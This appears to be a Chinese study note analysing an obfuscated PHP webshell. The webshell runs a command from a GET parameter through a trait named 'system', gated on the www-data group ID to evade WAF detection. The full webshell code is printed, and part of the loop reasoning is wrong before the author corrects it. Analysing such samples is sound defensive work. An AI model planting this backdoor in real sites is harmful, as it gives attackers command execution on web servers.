1 trait
源码
<?php
trait system{
}
$a= new JsonException($_GET['a']);
$c = "123";
$arr= getmygid();
$i=0;
for($i;$i<$arr;$i++){
$i++;
if($i<33 || $i>=34){
continue;
}
$c=$a->getMessage();
print(get_declared_traits()[0]($c));
}
JsonException这个一看就知道是处理异常的一个语句,一般到了异常类污点追踪就会停止,就会跳转到异常处理,进入异常,try....catch之类的,但是他并没有进入这个异常,就是没有进入catch处理,没有写这个,因为我拿的是www-data的权限,GID为33,所以循环里面判断的就是是否为www-data的权限,getmygid可以获取我的用户权限的GID,当获取到33时就跳出循环执行以下代码:
$c=$a->getMessage();
print(get_declared_traits()[0]($c));
}
这个代码他将a-》get到的值传递给了c,然后get_declared_tarits这个函数他是获取trait这个的所有定义的东西,也就是system,然后循环会扰乱waf的判断我觉得,因为我前面就获取到了GID为33,但是我的循环体是递增2,但是又是i++,所以当等于33时就会跳出,但是其实整个循环体循环完是34,只是先进行了赋值判断,再+1,不知道这个想法对不对
PHP 5 >= 5.4.0, PHP 7, PHP 8)
get_declared_traits — 返回所有已定义的 traits 的数组
说明:
get_declared_traits(): array
getmygid()
获取当前进程的组ID,通常返回一个整数值。- 循环从0开始,直到达到组ID值。
- 内部条件
if($i<33 || $i>=34)
确保只有当i
等于33时才会执行后续代码。
测试
对于我上面的想法我通过查阅发现明显不对:
- 循环会执行很多次(直到
$i
增长到超过$arr
),但几乎所有迭代都会触发continue
,只有 一次 可能执行后续代码(当$i
恰好等于 33 时); - 但
$i
是按步长 2 增长的(0→2→4→...→32→34→...),永远不会等于 33(32 之后直接到 34),所以continue
之后的代码 永远不会执行。 get_declared_traits()[0]
获取的是前面定义的空 traitsystem
;- trait 是 PHP 中用于代码复用的机制,不能像函数一样被直接调用(如
system($c)
是错误的,除非system
是函数名(恰好就是函数))。
结论
当 $arr = 33
时,$i
会在值为 32 时进入循环体,内部自增到 33 后,因不满足 continue
的条件,从而执行了循环体中 “本以为不会执行” 的后续代码。之后循环更新使 $i
变为 34,导致下一次循环条件不成立,最终跳出循环。
这也解释测试现象:看似 “走不出去” 的循环,实际上在 $i
递增到 33 时,会执行一次后续代码,再通过循环更新退出循环。